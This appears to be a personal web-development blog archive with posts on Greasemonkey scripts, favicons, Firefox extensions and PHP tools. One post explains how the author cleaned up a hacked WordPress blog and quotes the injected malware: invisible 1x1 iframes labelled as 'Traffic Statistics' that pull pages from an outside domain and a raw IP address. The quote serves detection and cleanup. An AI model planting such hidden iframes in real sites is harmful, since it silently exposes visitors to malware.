JasonMorrison.net

I get a lot of ideas. Most of them wander aimlessly in my head until they become obsolete, but once in a while I’ll get an idea that seems useful and simple enough to do in my free time.

If you’ve used Twitter, you’ve seen the myriad of url shortening services like TinyUrl and Bit.ly. Url shortening services are a kludge and they break one useful, built-in feature of the web, which is the ability to know where you’re going when you click a link.

So I thought, this is something that I could fix in an hour or so with a Greasemonkey script. If you have no idea what I’m talking about, Greasemonkey is a Firefox Plugin that runs in your browser and lets you run your own Javascript on pages you load. Greasemonkey comes with a handy-dandy AJAX function called GM_xmlhttpRequest.

I figured all I have to do is grab all the anchors on the page, see if they match a list of shortener urls, do an xmlhttpRequest for each one and grab the final location (after the service finishes with it’s redirecting) from the headers.

Something along these lines:

function getTargetUrl(short_url) {

  GM_log('Getting '+short_url);

  GM_xmlhttpRequest({
      method: 'GET',
      url: short_url,
      headers: {
          'User-agent': 'Mozilla/4.0 (compatible) Greasemonkey',
          'Accept': 'text/html'
      },
      onload: function(responseDetails) {
          GM_log('Done.  Status ' + responseDetails.status +
                ' Text ' + responseDetails.statusText + '\n\n' +
                ' Headers:\n' + responseDetails.responseHeaders);
      }
  });
}

(more…)

The Obama administration’s just finished “Open for Questions“, where the President answered questions suggested and voted by the general public over the web. This is pretty cool – political openness, interaction, and democracy via the web. It’s also interesting to me because the site uses Google Moderator, a product we use at work all the time.

What’s not quite so cool is that Moderator apparently doesn’t play well with the rest of the web. I’m not sure why it was designed this way (and if I did know, I probably couldn’t tell you anyway). The design is the exact opposite of unobtrusive javascript. That’s fine for highly interactive web apps but it would be nice to see the mostly text content in Moderator made searchable just like any other collection of web pages.

(more…)

Nelson reminded me today that I didn’t have a favicon for this site. I took a few moments and created the amazing little pencil that’s sitting in the address bar above.

For all the non-techies and new webmasters out there who have stumbled across this page, a favicon is the little icon that show up next to a web site’s URL and next to the page’s title in your bookmarks. They’re very small (16 by 16 pixels) but they can add a dash of branding to your site and are a helpful visual signal for bookmark navigation, increasing the information scent.

Want to create your own favicon? You can draw one pixel-by-pixel at this site, but I’d recommend busting out Photoshop and creating one yourself. Try to pick initials, a logo, or an object that can be expressed very simply – I used an apple for Mealographer, for example. You can go as simple as a couple of squares that fit your site’s color scheme and still create a memorable association for your users.

Modern browsers like Firefox allow you to use .gif and .png files directly, with some code like this:

<link rel="shortcut icon" type="image/png href="http://www.jasonmorrison.net/favicon.png" />

That means you can have an animated favicon… just make sure you’re doing it for some useful or artistic purpose, otherwise you will annoy your users.

From what I’ve heard Internet Explorer still has some issues, so you may want to use the older .ico format. This site will convert the image for you.

<link rel="shortcut icon" type="image/ico" href="http://www.jasonmorrison.net/favicon.ico" />

If you want to get really crazy, you can use Javascript to dynamically alter the favicon, which is great if you want to play Defender on the smallest display ever.

Firefox 3 is officially out, so go and get it.  Wondering why you should be excited about a new web browser?  Here’s three quick reasons why you should got get Firefox 3 now:

1.  It is much, much faster when it comes to complicated javascript, AJAX, and multiple iframes.  I don’t have any benchmarks on me, but I do some pretty intense stuff with Firefox and the improvement is immediately apparent.  This is very important because even normal web browsing is becoming pretty intensive, from Google Maps to Gmail to normal blogs with 100 widgets plastered on their sidebars.

2.  It’s even easier to manage add-ons and downloads.  The real power of Firefox is the ease of creating and installing extensions, and the interface has been improved making it easier to find new add-ons.  The download manager has been polished as well, which should help end the old “where did that file go” blues.

3.  The smart address bar is very cool.  I almost never have to finish typing urls anymore…  and it gives me immediate feedback on typos as well.  Hopefully this will put a damper on lame business models like typosquatting.

I’ve played around with Firefox’s Greasemonkey add-on here and there but never really delved into it until recently.  I found most of the common uses for it to be either too specific to someone else’s use habits or already covered by other extensions.  For example, there are probably a million ad blocking scripts out there, but I already have Adblock.

I’ve grown to appreciate Greasemonkey a lot more since I learned that you can make AJAX calls in scripts – now we can do some real damage.  But this post is not about that, it’s about a totally different use case that I hadn’t thought of before.

If you’re a web developer with any friends or family you’ve probably heard this one before:

“Something’s wrong with my web site, can you take a look?”

Often, though, you won’t have access to a dev server, database, or even a copy of the server-side code.  All you can see is the HTML and Javascript source and the HTTP transactions going back and forth.

Greasemonkey can’t rewrite PHP code on someone else’s server but it does make it really, really easy for you to alter forms, delete and change cookie values, and patch and debug Javascript on the site you’re looking at, without changing any other variables.

This can be really, really useful in some situations.  So now it’s officially added to my volunteer/web-developer/brother-in-law toolbelt.

I have a Firefox extension called Procrastato.  It reminds you to get back to work when you’re mindlessly surfing the web.  Procrastato is a very simple add-on but I’ve found that getting started in developing Firefox add-ons isn’t so simple.

Although I’ve just dipped my feet into the world of XUL and Firefox Extension development I thought I would share what I’ve been using to get up and running.

First things first – take a look at the Building an Extension page at Mozilla.org.  Make sure you at least read through that page before getting started.  It can be a little disappointing to see how much you need to have in place in order to do a simple “hello world” test extension, but it’s worth getting an overall picture before jumping in.

Also, before getting to “hello world,” there are a couple of extensions that are useful for developing extensions:

• The Firebug extension is great for extension development and web development in general.
• There is an Extension Developers Extension you can try as well.

If you’ve used Eclipse for Java or PHP development you’ll probably want to use it for extension development with the XulBooster plugin.  XulBooster is useful for two reasons:

1. It helps with housekeeping chores like setting up your install.rdf and chrome.manifest and exporting a .xpi package.
2. It give you some code coloring and syntax highlighting for those .xul files.

Now you should be ready to go.

A couple of notes:XulBooster will automatically include an empty <em:updateURL/> element in your install.rdf.  If you don’t have a secure URL for updates (starting with https://), you might get this warning from addons.mozilla.org when you try to upload your new version:

Add-ons cannot use an external updateURL. Please remove this from install.rdf and try again.

Just open the install.rdf file and deleted that line to solve the problem.

Earlier I wrote about what I did when my WordPress blog started returning a “This site may harm your computer” warning in Google and Firefox. Just to recap, these are the first steps to take to fix the problem:

1. Plug the hole – update WordPress (or your blog, forum, or CMS software) to plug any security holes.
2. Repair the damage – search for spammy outgoing links or malware files on your pages and delete them.
3. Clear your good name – request a review by StopBadware.org and in Google Webmaster Tools.

This is the right process to follow, but it turns out that I was a bit premature in doing step 3. Spammers and spyware spreaders are a wily, unpredictable bunch and they can’t be expected to stick to simple tactics like inserting links into posts.

The other tactic they used on my site was inserting invisible iFrames. These are harder to find because there aren’t as many automated tools to find them (or, at least, I don’t know of any) so it takes some manual searching through your source code. Here’s what the malware code looked like:


<!-- Traffic Statistics --> <iframe src=http://www.wp-stats-php.info/iframe/wp-stats.php width=1 height=1 frameborder=0></iframe> <!-- End Traffic Statistics -->

<noscript></noscript> <iframe src=”http://61.132.75.71/iframe/wp-stats.php” frameborder=”0″ height=”1″ width=”1″></iframe><br />
<!– End Traffic Statistics –>

It looks like others have run into the same issue. Your anti-virus software may even give you a warning about a virus in a file named “wp-stats[1].htm.” In my case AVG Antvirus warned me about a trojan horse in my temp folder.

Once I removed the iframes, I resubmitted my request in Google Webmaster Tools. Here’s another helpful hint that took me a while to figure out: If only part of your site has been hacked and is marked in StopBadware.org’s database, you should Add that subdirectory as a new site in Webmaster Tools. Here’s an illustration (click to see full size):

In this screenshot you can see my main site, www.jasonmorrison.net. If I click there I don’t see any warning about spam or viruses in my blog at www.jasonmorrison.net/content. So I just added my blog as a new “site” and there I could see the warnings and make a reconsideration request.

One last thing: Google may send out an email to try to let you know about these sorts of problems. I never saw these emails, though, since they go to addresses like abuse@yourdomain.com and admin@yourdomain.comthat spammers also like to use. They ended up in my spam bucket. So you might want to whitelist email from google.com.

Next in part three I’ll talk about what to do when a whole subdomain (perhaps with a forum) is filled with spam. Please put questions or additional suggestions in the comments below.

This site is just a humble blog where I write a bit about programming, design, usability, and other topics I’m interested in. It’s nice that I get some readership and few few good comments now and again but I don’t have any real financial stake here, and I’m definitely not interested in trying to spam anyone, send them spyware, etc. So imagine my shock when I noticed that my blog comes up with a warning, “This site may harm your computer.”

This comes up in various places including Firefox 3 and Google searches.  Obviously no one is going to follow a link to my site with such a disclaimer. So where did it come from and what did I do to clear my sites good name?

The disclaimer comes from the findings of StopBadware.org, an effort that I had heard about in the past but hadn’t really looked into. It sounds like a great idea – it’s very difficult for users to investigate every single link they might click on, and some spyware and adware is hard to see before it’s too late. So Stopbadware.org is a sort of neighborhood watch for the web.

How did my site end up on the list? There are a number of possibilities, so the first step is to check StopBadware.org to see what they found. Follow this link to search for your URL. Make sure you search for your root domain, in my case jasonmorrison.net. Some subdomains or directories might show up with a report while others are still considered clean. This confused me for a while.

Once you see the details there it’s time to hunt for problems. If you have anything more than a simple, static site this can be more difficult than it might first seem. My site uses WordPress and allows user comments. A bad link to show up in a comment, or someone may have hacked the site using a known vulnerability. It looks like it was the latter in my case, but I’m getting ahead of myself. How do you find the bad link?

There are lots of tools to find incoming links to your site, but I’ve only found one so far that checks outgoing links, at Bad Neighborhood. Don’t blindly rely on this tool, but follow up on any links that you don’t recognize having put there yourself. I found a link in the middle of a post from a month or so ago to some spammy German site.

How did the link get there? I don’t think my site was hacked wholesale (or if it was, they were very subtle about it). More likely someone took advantage of my laziness as upgrading WordPress and used a known security exploit.

Now that we’ve found and removed the offending link and plugged any known security holes, it’s time to try to get the stigma removed. Follow the link to the StopBadware.org request for review page and fill out a request. If the badware report came from one of their partners, you may have to follow up with them as well. I’m still waiting to here back on my review, I’ll post an update when I know more.

Hopefully this has been helpful. Let me know if you have any questions or suggestions in the comments below.

Are you a budding web developer wondering where to start?  An old hand looking for new tools?  Let me tell you a little bit about how I do my PHP / web development work, and maybe some it will be of use to you.

I am starting up some work on Mealographer again.  It definitely needs it, I did a usability test about a year ago and still haven’t fixed the issues I uncovered.  I haven’t been doing a lot of work in PHP recently, at my day job is all Java all the time.  I used to be happy with a text editor, a server somewhere and a browser, but since I’ve been using Eclipse I’ve become spoiled by better tools.

So what do you need to get started?  If you just want to play around, all you need is:

A text editor.  You can use Notepad, but I’ve used HTMLKit in the past.  It’s free and it does basic stuff like syntax highlighting nicely.

A server.  You can set everything up on a remote server, many have PHP accounts for as low as $5/month.  Right now I use Site5 [referral link].  I also want to give a shout out to Q5Media, though PHP isn’t their main thing.

A browser.  This is pretty basic, but worth mentioning.  You need Firefox, which is free to download.  You’ll also want to test things in IE, which you probably already had.

You can do real work with just the above.  It’s worth taking advantage of all the great tools out there, though, including:

An integrated development environment (IDE) – I’m pretty happy with Eclipse for Java development (or the related IBM RAD 6).  What about for PHP?  Right now I’m trying to decide between PHPEclispe and the PDT plugin.  Anyone have an opinion on which way to go?

A local development server – If you want to run PHP locally on windows, you can install Apache or get PHP working on IIS.  In my experience, though, you can’t beat WAMPSERVER – it includes Apache, MySQL and PHP and makes configuration pretty easy.

Source control – There’s no way to keep track of a project of any real size without a change management system.  I have used CVS a lot, and SmartCVS is a good free client.  There are also CVS plugins for Eclipse.  I have heard a lot of good things about Subversion as well.

Web developer plugins for Firefox – seriously, if you don’t have these, you might as well tie your hand behind your back when writing JavaScript of CSS.  Here’s a good list of Firefox plugins.

So that’s what I use – what am I missing?  Post suggestions in the comments below.

I’ve made a very small update to Procrastato, the only Firefox extension that will get you back on track when you are procrastinating. Really I just cleaned up some extra files that didn’t need to be included in the install.

Please head to the main project page to download and install the latest version.

As always, any comments or questions you have are welcome.